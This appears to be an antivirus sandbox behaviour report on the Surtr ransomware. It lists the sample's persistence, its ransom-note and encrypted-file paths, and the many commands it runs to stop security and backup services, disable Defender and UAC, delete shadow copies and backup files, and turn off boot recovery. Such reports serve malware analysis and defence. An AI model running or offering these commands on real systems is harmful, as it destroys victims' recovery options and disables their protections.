Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos3' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos4' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
- %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
- <SYSTEM32>\tasks\svchos1
- <SYSTEM32>\tasks\svchos2
- %APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe
Creates the following files on removable media
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\february_catalogue__2015.doc
- <Drive name for removable media>:\508softwareandos.doc
- <Drive name for removable media>:\testee.cer
- <Drive name for removable media>:\sdksampleprivdeveloper.cer
- <Drive name for removable media>:\contosoroot_1.cer
- <Drive name for removable media>:\sdkfailsafeemulator.cer
- <Drive name for removable media>:\pmd.cer
- <Drive name for removable media>:\weeklysheet1215.doc
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\dial.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\dashborder_144.bmp
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\join.avi
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
blocks the following features:
- System Restore (SR)
- User Account Control (UAC)
modifies the following system settings:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\net.exe' stop "Acronis VSS Provider"
- '<SYSTEM32>\net.exe' stop "BackupExecAgentAccelerator"
- '<SYSTEM32>\net.exe' stop "BackupExecAgentBrowser"
- '<SYSTEM32>\net.exe' stop "BackupExecDeviceMediaService"
- '<SYSTEM32>\net.exe' stop "BackupExecJobEngine"
- '<SYSTEM32>\net.exe' stop "BackupExecManagementService"
- '<SYSTEM32>\net.exe' stop "AcrSch2Svc"
- '<SYSTEM32>\net.exe' stop "Antivirus"
- '<SYSTEM32>\net.exe' stop "BackupExecRPCService"
- '<SYSTEM32>\net.exe' stop "IISAdmin"
- '<SYSTEM32>\net.exe' stop "IMAP4Svc"
- '<SYSTEM32>\net.exe' stop "macmnsvc"
- '<SYSTEM32>\net.exe' stop "masvc"
- '<SYSTEM32>\net.exe' stop "MBAMService"
- '<SYSTEM32>\net.exe' stop "BackupExecVSSProvider"
- '<SYSTEM32>\net.exe' stop "EPSecurityService"
- '<SYSTEM32>\net.exe' stop "AcronisAgent"
- '<SYSTEM32>\net.exe' stop "Veeam Backup Catalog Data Service"
- '<SYSTEM32>\net.exe' stop "Symantec System Recovery"
- '<SYSTEM32>\net.exe' stop "Sophos Agent"
- '<SYSTEM32>\net.exe' stop "Sophos AutoUpdate Service"
- '<SYSTEM32>\net.exe' stop "Sophos Clean Service"
- '<SYSTEM32>\net.exe' stop "Sophos Device Control Service"
- '<SYSTEM32>\net.exe' stop "Sophos File Scanner Service"
- '<SYSTEM32>\net.exe' stop "Sophos Health Service"
- '<SYSTEM32>\net.exe' stop " Enterprise Client Service"
- '<SYSTEM32>\net.exe' stop "Sophos MCS Agent"
- '<SYSTEM32>\net.exe' stop "Sophos Message Router"
- '<SYSTEM32>\net.exe' stop "Sophos Safestore Service"
- '<SYSTEM32>\net.exe' stop "Sophos System Protection Service"
- '<SYSTEM32>\net.exe' stop "Sophos Web Control Service"
- '<SYSTEM32>\net.exe' stop "SQLsafe Backup Service"
- '<SYSTEM32>\net.exe' stop "SQLsafe Filter Service"
- '<SYSTEM32>\net.exe' stop "Sophos MCS Client"
- '<SYSTEM32>\net.exe' stop "MBEndpointAgent"
- '<SYSTEM32>\net.exe' stop "McAfeeEngineService"
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\service\service.surt
- C:\far2\encyclopedia\tap\surtr_readme.hta
- C:\far2\documentation\private_data.surt
- C:\far2\documentation\surtr_readme.txt
- C:\far2\documentation\surtr_readme.hta
- C:\far2\documentation\rus\private_data.surt
- C:\far2\documentation\rus\surtr_readme.txt
- C:\far2\documentation\rus\surtr_readme.hta
- C:\far2\documentation\eng\private_data.surt
- C:\far2\documentation\eng\surtr_readme.txt
- C:\far2\documentation\eng\surtr_readme.hta
- C:\far2\addons\private_data.surt
- C:\far2\addons\surtr_readme.txt
- C:\far2\addons\surtr_readme.hta
- C:\far2\addons\xlat\private_data.surt
- C:\far2\addons\xlat\surtr_readme.txt
- C:\far2\addons\xlat\surtr_readme.hta
- C:\far2\addons\xlat\russian\private_data.surt
- C:\far2\encyclopedia\tap\surtr_readme.txt
- C:\far2\encyclopedia\surtr_readme.hta
- C:\far2\plugins\compare\surtr_readme.txt
- C:\far2\encyclopedia\surtr_readme.txt
- C:\far2\plugins\compare\surtr_readme.hta
- C:\far2\plugins\brackets\private_data.surt
- C:\far2\plugins\brackets\surtr_readme.txt
- C:\far2\plugins\brackets\surtr_readme.hta
- C:\far2\plugins\autowrap\private_data.surt
- C:\far2\plugins\autowrap\surtr_readme.txt
- C:\far2\plugins\autowrap\surtr_readme.hta
- C:\far2\plugins\arclite\private_data.surt
- C:\far2\plugins\arclite\surtr_readme.txt
- C:\far2\plugins\arclite\surtr_readme.hta
- C:\far2\plugins\align\private_data.surt
- C:\far2\plugins\align\surtr_readme.txt
- C:\far2\plugins\align\surtr_readme.hta
- C:\far2\fexcept\private_data.surt
- C:\far2\fexcept\surtr_readme.txt
- C:\far2\fexcept\surtr_readme.hta
- C:\far2\encyclopedia\private_data.surt
- C:\far2\addons\xlat\russian\surtr_readme.txt
- C:\far2\encyclopedia\tap\private_data.surt
- C:\far2\addons\xlat\russian\surtr_readme.hta
- %TEMP%\service\id_data.surt
- %TEMP%\service\public_data.surt
- %TEMP%\service\surtr.exe
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
- <Current directory>\surtr_readme.txt
- <Current directory>\surtr_readme.hta
- %ALLUSERSPROFILE%\service\public_data.surt
- %ALLUSERSPROFILE%\service\private_data.surt
- %ALLUSERSPROFILE%\service\id_data.surt
- %ALLUSERSPROFILE%\service\surtr.exe
- %ALLUSERSPROFILE%\service\surtr_readme.txt
- %ALLUSERSPROFILE%\service\surtr_readme.hta
- <Current directory>\private_data.surt
- <Current directory>\public_data.surt
- <Current directory>\id_data.surt
- %ALLUSERSPROFILE%\service\reg.surt
- %ALLUSERSPROFILE%\service\bus.surt
- %TEMP%\service\private_data.surt
- %TEMP%\service\surtr_readme.hta
- C:\far2\addons\shell\surtr_readme.txt
- %TEMP%\service\surtr_readme.txt
- C:\far2\addons\shell\surtr_readme.hta
- C:\far2\addons\setup\private_data.surt
- C:\far2\addons\setup\surtr_readme.txt
- C:\far2\addons\setup\surtr_readme.hta
- C:\far2\addons\macros\private_data.surt
- C:\far2\addons\macros\surtr_readme.txt
- C:\far2\addons\macros\surtr_readme.hta
- C:\far2\addons\colors\private_data.surt
- C:\far2\addons\colors\surtr_readme.txt
- C:\far2\addons\colors\surtr_readme.hta
- C:\documents and settings\private_data.surt
- C:\documents and settings\surtr_readme.txt
- C:\documents and settings\surtr_readme.hta
- D:\private_data.surt
- D:\surtr_readme.txt
- D:\surtr_readme.hta
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe
- C:\far2\addons\shell\private_data.surt
- C:\far2\plugins\compare\private_data.surt
Modifies the following files
- D:\install.log.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\farcolors242.reg.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\dn_like.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\weeklysheet1215.doc.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\descript.ion.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\february_catalogue__2015.doc.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\508softwareandos.doc.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\testee.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\sdksampleprivdeveloper.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\contosoroot_1.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\sdkfailsafeemulator.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\pmd.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\default.bmp.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\tileimage.bmp.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\dial.bmp.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\toolbar.bmp.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\dashborder_144.bmp.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\split.avi.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\join.avi.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\correct.avi.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\black_from_july.reg.[johnd3crypt@gmail.com].surt
- <Drive name for removable media>:\000814251_video_01.avi.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\greenmile.reg.[johnd3crypt@gmail.com].surt
- C:\far2\addons\colors\custom_highlighting\hell.reg.[johnd3crypt@gmail.com].surt
Modifies multiple files.
Network activity
Connects to
- 'ip##pi.com':80
TCP
HTTP GET requests
- http://ip###i.com:80/json/ via ip##pi.com
UDP
- DNS ASK ip##pi.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
- '<SYSTEM32>\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
- '<SYSTEM32>\cmd.exe' /c mkdir "%TEMP%\Service"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
- '<SYSTEM32>\cmd.exe' /c net stop "Antivirus"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
- '<SYSTEM32>\net1.exe' stop "AcrSch2Svc"
- '<SYSTEM32>\net1.exe' stop "Antivirus"
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentAccelerator"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
- '<SYSTEM32>\net1.exe' stop "BackupExecAgentAccelerator"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
- '<SYSTEM32>\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
- '<SYSTEM32>\cmd.exe' /c net stop "AcrSch2Svc"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Symantec System Recovery"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Symantec System Recovery"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Veeam Backup Catalog Data Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "AcronisAgent"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "AcronisAgent"
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentBrowser"
- '<SYSTEM32>\net1.exe' stop "SQLsafe Filter Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Safestore Service"
- '<SYSTEM32>\net1.exe' stop "BackupExecAgentBrowser"
- '<SYSTEM32>\cmd.exe' /c net stop "macmnsvc"
- '<SYSTEM32>\net1.exe' stop "macmnsvc"
- '<SYSTEM32>\cmd.exe' /c net stop "masvc"
- '<SYSTEM32>\net1.exe' stop "masvc"
- '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\cmd.exe' /c net stop "MBAMService"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\net1.exe' stop "MBAMService"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\cmd.exe' /c net stop "MBEndpointAgent"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\net1.exe' stop "MBEndpointAgent"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
- '<SYSTEM32>\net1.exe' stop "IMAP4Svc"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "IISAdmin"
- '<SYSTEM32>\net1.exe' stop "BackupExecDeviceMediaService"
- '<SYSTEM32>\cmd.exe' /c attrib +R /S "%TEMP%\Service"
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecJobEngine"
- '<SYSTEM32>\attrib.exe' +R /S "%TEMP%\Service"
- '<SYSTEM32>\net1.exe' stop "BackupExecJobEngine"
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecManagementService"
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\net1.exe' stop "BackupExecManagementService"
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecRPCService"
- '<SYSTEM32>\net1.exe' stop "BackupExecRPCService"
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecVSSProvider"
- '<SYSTEM32>\net1.exe' stop "BackupExecVSSProvider"
- '<SYSTEM32>\cmd.exe' /c net stop "EPSecurityService"
- '<SYSTEM32>\net1.exe' stop "EPSecurityService"
- '<SYSTEM32>\cmd.exe' /c net stop "IISAdmin"
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
- '<SYSTEM32>\cmd.exe' /c net stop "BackupExecDeviceMediaService"
- '<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Filter Service"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos Clean Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Device Control Service"
- '<SYSTEM32>\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos Device Control Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos File Scanner Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos File Scanner Service"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Clean Service"
- '<SYSTEM32>\cmd.exe' /c net stop "McAfeeEngineService"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos AutoUpdate Service"
- '<SYSTEM32>\cmd.exe' /c chcp 437
- '<SYSTEM32>\chcp.com' 437
- '<SYSTEM32>\cmd.exe' /c net stop "Acronis VSS Provider"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin Delete Shadows /all /quiet
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
- '<SYSTEM32>\net1.exe' stop "Acronis VSS Provider"
- '<SYSTEM32>\cmd.exe' /c @echo off
- '<SYSTEM32>\cmd.exe' /c net stop " Enterprise Client Service"
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Agent"
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
- '<SYSTEM32>\net1.exe' stop "Sophos Agent"
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
- '<SYSTEM32>\net1.exe' stop " Enterprise Client Service"
- '<SYSTEM32>\net1.exe' stop "Sophos AutoUpdate Service"
- '<SYSTEM32>\cmd.exe' /c net stop "IMAP4Svc"
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Health Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos System Protection Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos System Protection Service"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Web Control Service"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos Web Control Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Backup Service"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "SQLsafe Backup Service"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos Safestore Service"
- '<SYSTEM32>\net1.exe' stop "Sophos Health Service"
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Agent"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos MCS Agent"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
